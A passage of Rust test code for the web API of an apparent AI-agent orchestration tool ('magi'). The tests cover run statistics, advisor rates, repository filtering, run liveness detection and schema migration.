19503        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
19504
19505        let stats = f.get("/api/stats").await;
19506        let health = f.get("/api/health").await;
19507
19508        assert_eq!(stats.status, 200);
19509        assert_eq!(stats.json()["totals"]["runs"], 1);
19510        assert_eq!(stats.json()["runs_unreadable"], 1);
19511        assert_eq!(
19512            stats.json()["runs_unreadable"],
19513            health.json()["runs_unreadable"],
19514            "the dashboard and /api/health must never disagree about how many \
19515             runs could not be read"
19516        );
19517    }
19518
19519    #[tokio::test]
19520    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
19521        let f = Fixture::start().await;
19522        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
19523        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
19524        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
19525
19526        let totals = &f.get("/api/stats").await.json()["totals"];
19527        assert_eq!(totals["runs"], 3);
19528        assert_eq!(totals["merged"], 1);
19529        assert_eq!(totals["stalled"], 1);
19530        assert_eq!(totals["in_progress"], 1);
19531        // A stalled run must never read as blocked/merged/ready - it is its
19532        // own bucket, not folded into a "decided" one.
19533        assert_eq!(totals["blocked"], 0);
19534        assert_eq!(totals["ready"], 0);
19535    }
19536
19537    #[tokio::test]
19538    async fn stats_advisors_report_proposals_and_reflection() {
19539        use crate::advise::{Advice, AdvisorRecord, Reflection};
19540        use crate::verdict::Proposal;
19541
19542        let f = Fixture::start().await;
19543        let mut state = RunState::new(
19544            PathBuf::from("/repo/magi"),
19545            "main".to_owned(),
19546            "0123456789abcdef".to_owned(),
19547            "task".to_owned(),
19548            Config::default(),
19549        );
19550        state.id = "20260902-140501-a".to_owned();
19551        state.status = RunStatus::Merged;
19552        state.advice = Some(Advice {
19553            records: vec![
19554                AdvisorRecord {
19555                    seat: "advisor-1".to_owned(),
19556                    agent: "alpha".to_owned(),
19557                    proposal: Some(Proposal {
19558                        approach: "do it".to_owned(),
19559                        key_tradeoff: "speed over memory".to_owned(),
19560                        risks: Vec::new(),
19561                        touches: Vec::new(),
19562                        why_not_naive: "breaks under load".to_owned(),
19563                    }),
19564                    error: None,
19565                    duration_ms: 0,
19566                    reflection: Reflection::Strong,
19567                },
19568                AdvisorRecord {
19569                    seat: "advisor-2".to_owned(),
19570                    agent: "alpha".to_owned(),
19571                    proposal: None,
19572                    error: Some("timed out".to_owned()),
19573                    duration_ms: 0,
19574                    reflection: Reflection::Absent,
19575                },
19576            ],
19577            synthesis: Some("blended brief".to_owned()),
19578        });
19579        let dir = f.runs().join(&state.id);
19580        std::fs::create_dir_all(&dir).expect("run dir");
19581        std::fs::write(
19582            dir.join("run.json"),
19583            serde_json::to_string_pretty(&state).expect("serialize run"),
19584        )
19585        .expect("write run.json");
19586
19587        // `alpha` is in no roster here; this test is about the rates.
19588        let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
19589        let alpha = advisors
19590            .as_array()
19591            .expect("an array")
19592            .iter()
19593            .find(|a| a["agent"] == "alpha")
19594            .expect("alpha row");
19595        assert_eq!(alpha["seated"], 2);
19596        assert_eq!(alpha["proposed"], 1);
19597        assert_eq!(alpha["absent"], 1);
19598        assert_eq!(alpha["strong"], 1);
19599        assert_eq!(alpha["faint"], 0);
19600        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
19601    }
19602
19603    #[tokio::test]
19604    async fn stats_hides_agents_outside_the_roster_unless_all() {
19605        use crate::run::Candidate;
19606        let repo = TempDir::new().expect("repo dir");
19607        std::fs::write(
19608            repo.path().join("magi.toml"),
19609            "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
19610        )
19611        .expect("magi.toml");
19612        let f = Fixture::with_repo(repo.path().to_path_buf()).await;
19613        let mut state = RunState::new(
19614            PathBuf::from("/repo/magi"),
19615            "main".to_owned(),
19616            "0123456789abcdef".to_owned(),
19617            "task".to_owned(),
19618            Config::default(),
19619        );
19620        state.id = "20260902-140501-a".to_owned();
19621        state.status = RunStatus::Merged;
19622        for (label, agent) in [('A', "keep"), ('B', "retired")] {
19623            let mut c: Candidate = serde_json::from_value(serde_json::json!({
19624                "index": 0, "label": label.to_string(), "agent": agent,
19625                "branch": "b", "worktree": "/w",
19626            }))
19627            .expect("candidate");
19628            c.label = label;
19629            state.candidates.push(c);
19630        }
19631        let dir = f.runs().join(&state.id);
19632        std::fs::create_dir_all(&dir).expect("run dir");
19633        std::fs::write(
19634            dir.join("run.json"),
19635            serde_json::to_string_pretty(&state).expect("serialize run"),
19636        )
19637        .expect("write run.json");
19638
19639        let agents_of = |v: &serde_json::Value| -> Vec<String> {
19640            v["agents"]
19641                .as_array()
19642                .expect("array")
19643                .iter()
19644                .map(|a| a["agent"].as_str().unwrap().to_owned())
19645                .collect()
19646        };
19647        let hidden = f.get("/api/stats").await.json();
19648        assert_eq!(agents_of(&hidden), ["keep"]);
19649        assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
19650        assert_eq!(hidden["totals"]["runs"], 1);
19651
19652        let all = f.get("/api/stats?all=true").await.json();
19653        assert_eq!(agents_of(&all).len(), 2);
19654        assert_eq!(all["retired_hidden"], serde_json::json!([]));
19655        // Verify competitive and solo keys exist on agent entries
19656        let keep_agent = all["agents"]
19657            .as_array()
19658            .unwrap()
19659            .iter()
19660            .find(|a| a["agent"] == "keep")
19661            .unwrap();
19662        assert_eq!(keep_agent["competitive_entered"], 1);
19663        assert_eq!(keep_agent["competitive_wins"], 0);
19664        assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
19665        assert_eq!(keep_agent["solo_entered"], 0);
19666        assert_eq!(keep_agent["solo_adopted"], 0);
19667        assert!(keep_agent["solo_adoption_rate"].is_null());
19668    }
19669
19670    #[tokio::test]
19671    async fn stats_release_bumps_split_clean_from_attention() {
19672        use crate::run::ReleaseBump;
19673
19674        let f = Fixture::start().await;
19675
19676        let mut clean = RunState::new(
19677            PathBuf::from("/repo/magi"),
19678            "main".to_owned(),
19679            "0123456789abcdef".to_owned(),
19680            "task".to_owned(),
19681            Config::default(),
19682        );
19683        clean.id = "20260902-140501-a".to_owned();
19684        clean.status = RunStatus::Merged;
19685        clean.release_bump = Some(ReleaseBump {
19686            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
19687            version: Some("1.0.0".to_owned()),
19688            automerge_enabled: true,
19689            merged_directly: false,
19690            local: false,
19691            release: None,
19692            problem: None,
19693            action_required: None,
19694            skipped: None,
19695        });
19696
19697        let mut blocked = RunState::new(
19698            PathBuf::from("/repo/magi"),
19699            "main".to_owned(),
19700            "0123456789abcdef".to_owned(),
19701            "task".to_owned(),
19702            Config::default(),
19703        );
19704        blocked.id = "20260902-140502-b".to_owned();
19705        blocked.status = RunStatus::Merged;
19706        blocked.release_bump = Some(ReleaseBump {
19707            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
19708            version: Some("1.0.1".to_owned()),
19709            automerge_enabled: false,
19710            merged_directly: false,
19711            local: false,
19712            release: None,
19713            problem: Some("checks red".to_owned()),
19714            action_required: Some("look at the PR".to_owned()),
19715            skipped: None,
19716        });
19717
19718        for state in [&clean, &blocked] {
19719            let dir = f.runs().join(&state.id);
19720            std::fs::create_dir_all(&dir).expect("run dir");
19721            std::fs::write(
19722                dir.join("run.json"),
19723                serde_json::to_string_pretty(state).expect("serialize run"),
19724            )
19725            .expect("write run.json");
19726        }
19727
19728        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
19729        assert_eq!(bumps["merged"], 2);
19730        assert_eq!(bumps["recorded"], 2);
19731        assert_eq!(bumps["pr_opened"], 2);
19732        assert_eq!(bumps["automerge_enabled"], 1);
19733        assert_eq!(bumps["needs_attention"], 1);
19734        assert_eq!(bumps["clean"], 1);
19735        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
19736        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
19737    }
19738
19739    #[tokio::test]
19740    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
19741        let f = Fixture::start().await;
19742        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
19743
19744        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
19745        assert_eq!(bumps["merged"], 1);
19746        assert_eq!(bumps["recorded"], 0);
19747        // `merged` is nonzero, so coverage still reads as a real 0%, not an
19748        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
19749        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
19750        // `pr_opened` and `recorded` are both zero here, so these rates have
19751        // no denominator to compute from and must be null.
19752        assert_eq!(bumps["automerge_rate"], Value::Null);
19753        assert_eq!(bumps["attention_rate"], Value::Null);
19754    }
19755
19756    #[tokio::test]
19757    async fn stats_queue_counts_come_from_the_live_queue() {
19758        let f = Fixture::start().await;
19759        let q = f.queue();
19760        let mut queued = Task::new(
19761            "queued task".to_owned(),
19762            "do it".to_owned(),
19763            PathBuf::from("/repo"),
19764            Source::Human,
19765        );
19766        q.put(&mut queued).expect("put queued");
19767        let mut held = Task::new(
19768            "held task".to_owned(),
19769            "do it later".to_owned(),
19770            PathBuf::from("/repo"),
19771            Source::Human,
19772        );
19773        held.hold_machine(Some("out of attempts".to_owned()));
19774        q.put(&mut held).expect("put held");
19775
19776        let queue = f.get("/api/stats").await.json()["queue"].clone();
19777        assert_eq!(queue["queued"], 1);
19778        assert_eq!(queue["held"], 1);
19779        assert_eq!(queue["running"], 0);
19780        assert_eq!(queue["done"], 0);
19781        assert_eq!(queue["failed"], 0);
19782        assert_eq!(queue["blocked"], 0);
19783    }
19784
19785    #[tokio::test]
19786    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
19787        let f = Fixture::start().await;
19788        let stats = f.get("/api/stats").await;
19789        assert_eq!(stats.status, 200);
19790        assert_eq!(stats.json()["totals"]["runs"], 0);
19791        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
19792        assert_eq!(stats.json()["runs_unreadable"], 0);
19793        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
19794        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
19795        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
19796        assert_eq!(stats.json()["repo"], Value::Null);
19797    }
19798
19799    #[tokio::test]
19800    async fn stats_lists_every_repository_with_runs_recorded() {
19801        let f = Fixture::start().await;
19802        write_run_repo(
19803            &f.runs(),
19804            "20260902-140501-a",
19805            RunStatus::Merged,
19806            "/repos/a",
19807        );
19808        write_run_repo(
19809            &f.runs(),
19810            "20260902-140502-b",
19811            RunStatus::Merged,
19812            "/repos/a",
19813        );
19814        write_run_repo(
19815            &f.runs(),
19816            "20260902-140503-c",
19817            RunStatus::Blocked,
19818            "/repos/b",
19819        );
19820
19821        let stats = f.get("/api/stats").await;
19822        assert_eq!(stats.status, 200);
19823        // Unfiltered - the aggregate across both repositories.
19824        assert_eq!(stats.json()["totals"]["runs"], 3);
19825        assert_eq!(stats.json()["repo"], Value::Null);
19826
19827        let repos = stats.json()["repos"].clone();
19828        let repos = repos.as_array().unwrap();
19829        assert_eq!(repos.len(), 2);
19830        // Busiest (2 runs) first.
19831        assert_eq!(repos[0]["repo"], "/repos/a");
19832        assert_eq!(repos[0]["name"], "a");
19833        assert_eq!(repos[0]["runs"], 2);
19834        assert_eq!(repos[1]["repo"], "/repos/b");
19835        assert_eq!(repos[1]["runs"], 1);
19836    }
19837
19838    #[tokio::test]
19839    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
19840        let f = Fixture::start().await;
19841        write_run_repo(
19842            &f.runs(),
19843            "20260902-140501-a",
19844            RunStatus::Merged,
19845            "/repos/a",
19846        );
19847        write_run_repo(
19848            &f.runs(),
19849            "20260902-140502-b",
19850            RunStatus::Blocked,
19851            "/repos/b",
19852        );
19853
19854        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
19855        assert_eq!(stats.status, 200);
19856        assert_eq!(stats.json()["totals"]["runs"], 1);
19857        assert_eq!(stats.json()["totals"]["merged"], 1);
19858        assert_eq!(stats.json()["repo"], "/repos/a");
19859        // The repository list itself is unaffected by the filter - it is
19860        // what a client switches repositories from.
19861        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
19862        // runs_unreadable is a whole-workload count, never scoped to the
19863        // selected repository - see StatsView::runs_unreadable's own doc.
19864        assert_eq!(stats.json()["runs_unreadable"], 0);
19865    }
19866
19867    #[tokio::test]
19868    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
19869        let f = Fixture::start().await;
19870        write_run_repo(
19871            &f.runs(),
19872            "20260902-140501-a",
19873            RunStatus::Merged,
19874            "/repos/a",
19875        );
19876        write_run_repo(
19877            &f.runs(),
19878            "20260902-140502-b",
19879            RunStatus::Merged,
19880            "/repos/b",
19881        );
19882
19883        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
19884            let json = f.get(uri).await.json();
19885            let daily = json["daily"].as_array().expect("daily is an array");
19886            assert_eq!(daily.len(), 30);
19887            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
19888            let mut sorted = dates.clone();
19889            sorted.sort();
19890            assert_eq!(dates, sorted);
19891            for d in daily {
19892                assert_eq!(
19893                    d["merged"].as_u64().unwrap()
19894                        + d["ready"].as_u64().unwrap()
19895                        + d["other"].as_u64().unwrap(),
19896                    d["runs"].as_u64().unwrap()
19897                );
19898            }
19899            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
19900        }
19901    }
19902
19903    #[tokio::test]
19904    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
19905        let f = Fixture::start().await;
19906        write_run_repo(
19907            &f.runs(),
19908            "20260902-140501-a",
19909            RunStatus::Merged,
19910            "/repos/a",
19911        );
19912
19913        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
19914        assert_eq!(stats.status, 404);
19915    }
19916
19917    #[tokio::test]
19918    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
19919        let f = Fixture::start().await;
19920        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
19921
19922        let summary = f.get("/api/runs").await.json();
19923        let row = &summary[0];
19924        assert_eq!(row["short"], "a1b2");
19925        assert_eq!(row["status"], "ready");
19926        assert_eq!(row["done"], true);
19927        assert_eq!(row["title"], "Add a web UI");
19928        assert_eq!(row["repo_name"], "magi");
19929        assert_eq!(row["judges"], 3);
19930        assert_eq!(row["winner"], Value::Null);
19931        assert_eq!(row["reviews"], 0);
19932
19933        // The short id resolves, and the detail route is the state itself, not
19934        // a projection of it: the UI reads fields the summary does not carry.
19935        let detail = f.get("/api/runs/a1b2").await;
19936        assert_eq!(detail.status, 200);
19937        assert_eq!(detail.json()["base_branch"], "main");
19938        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
19939    }
19940
19941    /// `status: "ready"` alone cannot tell a run still headed for a landing
19942    /// (a PR closed without merging, say) apart from one `[merge] mode =
19943    /// "none"` left unmerged for good — the confusion the operator flagged
19944    /// after the CLI report already grew a `not landed — nothing to do by
19945    /// design` line for exactly this case (`report.rs`). Both the list route
19946    /// and the detail route must carry a flag the phone can key on instead of
19947    /// re-deriving it from `status` + `merge.mode` itself.
19948    #[tokio::test]
19949    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
19950        let f = Fixture::start().await;
19951
19952        let mut none_run = RunState::new(
19953            PathBuf::from("/repo/magi"),
19954            "main".to_owned(),
19955            "0123456789abcdef".to_owned(),
19956            "Add a web UI".to_owned(),
19957            Config::default(),
19958        );
19959        none_run.id = "20260902-140503-none".to_owned();
19960        none_run.status = RunStatus::Ready;
19961        none_run.merge = Some(crate::run::MergeOutcome {
19962            mode: crate::config::MergeMode::None,
19963            ok: true,
19964            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
19965            empty: false,
19966        });
19967        write_state(&f.runs(), &none_run);
19968
19969        let mut pr_run = RunState::new(
19970            PathBuf::from("/repo/magi"),
19971            "main".to_owned(),
19972            "0123456789abcdef".to_owned(),
19973            "Add a web UI".to_owned(),
19974            Config::default(),
19975        );
19976        pr_run.id = "20260902-140504-prcl".to_owned();
19977        pr_run.status = RunStatus::Ready;
19978        pr_run.merge = Some(crate::run::MergeOutcome {
19979            mode: crate::config::MergeMode::Pr,
19980            ok: false,
19981            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
19982            empty: false,
19983        });
19984        write_state(&f.runs(), &pr_run);
19985
19986        let summary = f.get("/api/runs").await.json();
19987        let rows: std::collections::HashMap<&str, &Value> = summary
19988            .as_array()
19989            .expect("an array")
19990            .iter()
19991            .map(|r| (r["id"].as_str().expect("an id"), r))
19992            .collect();
19993        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
19994        assert_eq!(
19995            rows[none_run.id.as_str()]["unmerged_by_design"],
19996            true,
19997            "a mode-none Ready must be flagged in the list"
19998        );
19999        assert_eq!(
20000            rows[pr_run.id.as_str()]["unmerged_by_design"],
20001            false,
20002            "a Ready reached by a closed pull request is a different case"
20003        );
20004
20005        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
20006        assert_eq!(none_detail["status"], "ready");
20007        assert_eq!(none_detail["unmerged_by_design"], true);
20008
20009        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
20010        assert_eq!(pr_detail["unmerged_by_design"], false);
20011    }
20012
20013    /// `RunState::active` is only ever cleared by whoever populated it, so the
20014    /// detail route also has to say whether a daemon is actually still
20015    /// driving this run right now — otherwise a seat from a killed process's
20016    /// last wave would read as live forever.
20017    #[tokio::test]
20018    async fn run_core_survives_unavailable_related_stores() {
20019        let home = TempDir::new().unwrap();
20020        let ui = delta_test_ui(home.path());
20021        let state = RunState::new(
20022            PathBuf::from("/repo/magi"),
20023            "main".into(),
20024            "0123456789abcdef".into(),
20025            "Useful core instructions".into(),
20026            Config::default(),
20027        );
20028        let dir = ui.runs.join(&state.id);
20029        std::fs::create_dir_all(&dir).unwrap();
20030        std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
20031        std::fs::write(ui.questions.root(), "unavailable").unwrap();
20032        std::fs::write(ui.queue.root(), "unavailable").unwrap();
20033        let core = run_core(State(ui.clone()), Path(state.id.clone()))
20034            .await
20035            .unwrap()
20036            .0;
20037        assert_eq!(core.state.instruction, state.instruction);
20038        assert_eq!(core.state.updated_at, state.updated_at);
20039        assert!(core.task.is_none());
20040        assert!(run_detail(State(ui), Path(state.id)).await.is_err());
20041    }
20042
20043    #[tokio::test]
20044    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
20045        let f = Fixture::start().await;
20046        // Matches `write_daemon`'s hard-coded `current.run`, so the second
20047        // half of this test can claim the daemon is working on it without a
20048        // second helper.
20049        let id = "20260902-140502-bbbb";
20050        let mut state = RunState::new(
20051            PathBuf::from("/repo/magi"),
20052            "main".to_owned(),
20053            "0123456789abcdef".to_owned(),
20054            "Add a web UI".to_owned(),
20055            Config::default(),
20056        );
20057        state.id = id.to_owned();
20058        state.status = RunStatus::Judging;
20059        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
20060        let dir = f.runs().join(id);
20061        std::fs::create_dir_all(&dir).expect("run dir");
20062        std::fs::write(
20063            dir.join("run.json"),
20064            serde_json::to_string_pretty(&state).expect("serialize run"),
20065        )
20066        .expect("write run.json");
20067
20068        // No daemon.json at all, and no `driver_pid` recorded either (this
20069        // state was written directly, never through `execute()`): there is
20070        // nothing to confirm either way, so the route must say `"unknown"` —
20071        // never `"dead"`, which is exactly the false diagnosis a manual `magi
20072        // run` used to get from this route before `driver_pid` existed.
20073        let cold = f.get(&format!("/api/runs/{id}")).await.json();
20074        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
20075        assert_eq!(cold["live"], "unknown", "{cold}");
20076
20077        // A fresh heartbeat naming exactly this run: the same entry now reads
20078        // as confirmed, not merely recorded.
20079        write_daemon(f.home.path(), Timestamp::now());
20080        let warm = f.get(&format!("/api/runs/{id}")).await.json();
20081        assert_eq!(warm["live"], "live", "{warm}");
20082    }
20083
20084    #[test]
20085    fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
20086        let home = tempfile::tempdir().expect("temp home");
20087        let runs = home.path().join("runs");
20088        for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
20089            let mut state = RunState::new(
20090                PathBuf::from("/repo/magi"),
20091                "main".to_owned(),
20092                "0123456789abcdef".to_owned(),
20093                "Generated review context, not authored task criteria".to_owned(),
20094                Config::default(),
20095            );
20096            state.origin = origin;
20097            state.status = RunStatus::Blocked;
20098            // Earlier migrations must not infer these facts again.
20099            state.driver_exited = false;
20100            state.gate_ran = true;
20101            let expected = serde_json::to_value(&state).expect("serialize current state");
20102            let mut legacy = expected.clone();
20103            legacy["schema"] = serde_json::json!(13);
20104            legacy.as_object_mut().unwrap().remove("task_instruction");
20105            let dir = runs.join(&state.id);
20106            std::fs::create_dir_all(&dir).expect("run dir");
20107            let path = dir.join("run.json");
20108            let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
20109            std::fs::write(&path, &body).expect("write legacy run");
20110
20111            for loaded in [
20112                RunState::load_under(&state.id, home.path()).expect("CLI migration"),
20113                read_run(&runs, &state.id).expect("web migration"),
20114            ] {
20115                assert_eq!(loaded.schema, crate::run::SCHEMA);
20116                assert!(loaded.task_instruction.is_none());
20117                assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
20118            }
20119            assert_eq!(runs_unreadable(&runs), 0);
20120            assert_eq!(std::fs::read(&path).unwrap(), body);
20121        }
20122    }
20123
20124    /// Where a run came from is shown, and a run written before origins were
20125    /// recorded (schema 12, no `origin` key) stays readable and says so.
20126    #[tokio::test]
20127    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
20128        let f = Fixture::start().await;
20129        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
20130            let mut state = RunState::new(
20131                PathBuf::from("/repo/magi"),
20132                "main".to_owned(),
20133                "0123456789abcdef".to_owned(),
20134                "Add a web UI".to_owned(),
20135                Config::default(),
20136            );
20137            state.id = id.to_owned();
20138            state.origin = origin;
20139            let mut value = serde_json::to_value(&state).expect("serialize run");
20140            if let Some(schema) = schema {
20141                value["schema"] = serde_json::json!(schema);
20142                value.as_object_mut().unwrap().remove("origin");
20143            }
20144            let dir = f.runs().join(id);
20145            std::fs::create_dir_all(&dir).expect("run dir");
20146            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
20147        };
20148        write(
20149            "20260930-092817-ec34",
20150            Some(crate::run::Origin::from_agent_env(
20151                Some(("4a7b".to_owned(), "chat".to_owned())),
20152                None,
20153            )),
20154            None,
20155        );
20156        write("20260930-092817-0ld1", None, Some(12));
20157
20158        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
20159        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
20160        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
20161
20162        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
20163        assert_eq!(
20164            old["origin_label"], "origin unknown (started before origins were recorded)",
20165            "{old}"
20166        );
20167        assert!(old["origin"].is_null(), "{old}");
20168
20169        let list = f.get("/api/runs").await.json();
20170        let labels: Vec<_> = list
20171            .as_array()
20172            .unwrap()
20173            .iter()
20174            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
20175            .collect();
20176        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
20177    }
20178
20179    #[tokio::test]
20180    async fn run_progress_observation_exposes_activity_without_control_evidence() {
20181        let f = Fixture::start().await;
20182        let mut state = RunState::new(
20183            PathBuf::from("/repo"),
20184            "main".into(),
20185            "abc".into(),
20186            "task".into(),
20187            Config::default(),
20188        );
20189        state.status = RunStatus::Implementing;
20190        state.seat_started(
20191            "implement",
20192            "implement-A",
20193            std::time::Duration::from_secs(60),
20194            0,
20195        );
20196        state.save_under(f.home.path()).unwrap();
20197        let observed = f
20198            .get(&format!("/api/runs/{}/progress", state.id))
20199            .await
20200            .json();
20201        assert_eq!(observed["id"], state.id);
20202        assert!(observed["observed_at"].is_string());
20203        assert_eq!(observed["updated_at"], state.updated_at.to_string());
20204        assert!(observed["progress"]["activity"].is_string());
20205        for field in [
20206            "config",
20207            "candidates",
20208            "land_approval",
20209            "task",
20210            "waiting",
20211            "done",
20212        ] {
20213            assert!(
20214                observed.get(field).is_none(),
20215                "progress must not expose control evidence: {field}"
20216            );
20217        }
20218    }
20219
20220    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
20221    /// review` claims no daemon at all, so before this field existed the
20222    /// route above read it as `"dead"` — indistinguishable from a run a
20223    /// killed process abandoned — the whole time it was genuinely still
20224    /// answering. With a live pid recorded, it must read `"live"` even
20225    /// though no daemon claims it.
20226    #[tokio::test]
20227    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
20228        let f = Fixture::start().await;
20229        let id = "20260922-090000-cccc";
20230        let mut state = RunState::new(
20231            PathBuf::from("/repo/magi"),
20232            "main".to_owned(),
20233            "0123456789abcdef".to_owned(),
20234            "Review only".to_owned(),
20235            Config::default(),
20236        );
20237        state.id = id.to_owned();
20238        state.status = RunStatus::Reviewing;
20239        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
20240        // This test process's own pid: guaranteed alive, and never needs a
20241        // real daemon or a second process to prove it. The matching start-time
20242        // marker is what `liveness` now requires alongside a live pid — see
20243        // `RunState::driver_started_at`'s own doc for why the pid alone is
20244        // not enough.
20245        state.driver_pid = Some(std::process::id());
20246        state.driver_started_at = Some(
20247            crate::proc::process_started_at(std::process::id())
20248                .expect("this test process's own start time must be queryable"),
20249        );
20250        let dir = f.runs().join(id);
20251        std::fs::create_dir_all(&dir).expect("run dir");
20252        std::fs::write(
20253            dir.join("run.json"),
20254            serde_json::to_string_pretty(&state).expect("serialize run"),
20255        )
20256        .expect("write run.json");
20257
20258        let detail = f.get(&format!("/api/runs/{id}")).await.json();
20259        assert_eq!(detail["live"], "live", "{detail}");
20260    }
20261
20262    /// A killed manual run's pid can be handed to a wholly unrelated later
20263    /// process — a live query on `driver_pid` alone would read this as
20264    /// `"live"`, exactly the false positive `driver_started_at` exists to
20265    /// catch (see that field's own doc, and `RunState::liveness_with`'s
20266    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
20267    #[tokio::test]
20268    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
20269        let f = Fixture::start().await;
20270        let id = "20260922-090100-dddd";
20271        let mut state = RunState::new(
20272            PathBuf::from("/repo/magi"),
20273            "main".to_owned(),
20274            "0123456789abcdef".to_owned(),
20275            "Review only".to_owned(),
20276            Config::default(),
20277        );
20278        state.id = id.to_owned();
20279        state.status = RunStatus::Reviewing;
20280        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
20281        // This test process's own pid really is alive, but the marker
20282        // recorded here does not match what it actually started at —
20283        // standing in for the pid having since been reused by a different
20284        // process than the one that wrote `run.json`.
20285        state.driver_pid = Some(std::process::id());
20286        state.driver_started_at = Some("1".to_owned());
20287        let dir = f.runs().join(id);
20288        std::fs::create_dir_all(&dir).expect("run dir");
20289        std::fs::write(
20290            dir.join("run.json"),
20291            serde_json::to_string_pretty(&state).expect("serialize run"),
20292        )
20293        .expect("write run.json");
20294
20295        let detail = f.get(&format!("/api/runs/{id}")).await.json();
20296        assert_eq!(detail["live"], "dead", "{detail}");
20297    }
20298
20299    /// The deck's competition list is normally the first place an operator
20300    /// sees an old run. It must carry the same process verdict as detail, or
20301    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
20302    #[test]
20303    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
20304        let mk = |id: &str, pid: Option<u32>| {
20305            let mut s = RunState::new(
20306                PathBuf::from("/repo/magi"),
20307                "main".to_owned(),
20308                "0123456789abcdef".to_owned(),
20309                "Add a web UI".to_owned(),
20310                Config::default(),
20311            );
20312            s.id = id.to_owned();
20313            s.driver_pid = pid;
20314            s.driver_started_at = Some("1790000000".to_owned());
20315            s
20316        };
20317        let states = vec![
20318            mk("20260902-140502-aaaa", Some(77)),
20319            mk("20260902-140502-bbbb", Some(77)),
20320            mk("20260902-140502-cccc", Some(77)),
20321            mk("20260902-140502-dddd", None),
20322        ];
20323        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
20324        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
20325        let sup: HashMap<String, String> = [(
20326            "20260902-140502-aaaa".to_owned(),
20327            "20260902-140502-cccc".to_owned(),
20328        )]
20329        .into();
20330
20331        let status_calls = std::cell::Cell::new(0);
20332        let identity_calls = std::cell::Cell::new(0);
20333        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
20334            |_| {
20335                status_calls.set(status_calls.get() + 1);
20336                Some(true)
20337            },
20338            |_| {
20339                identity_calls.set(identity_calls.get() + 1);
20340                Some("1790000000".to_owned())
20341            },
20342        ));
20343        let rows = summarize(
20344            states,
20345            &open,
20346            &claimed,
20347            &sup,
20348            |p| probe.borrow_mut().status(p),
20349            |p| probe.borrow_mut().started_at(p),
20350        );
20351
20352        assert_eq!(status_calls.get(), 1, "one pid, one status query");
20353        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
20354        assert_eq!(rows.len(), 4);
20355        assert!(!rows[0].waiting && rows[1].waiting);
20356        assert_eq!(rows[0].live, crate::run::Liveness::Live);
20357        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
20358        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
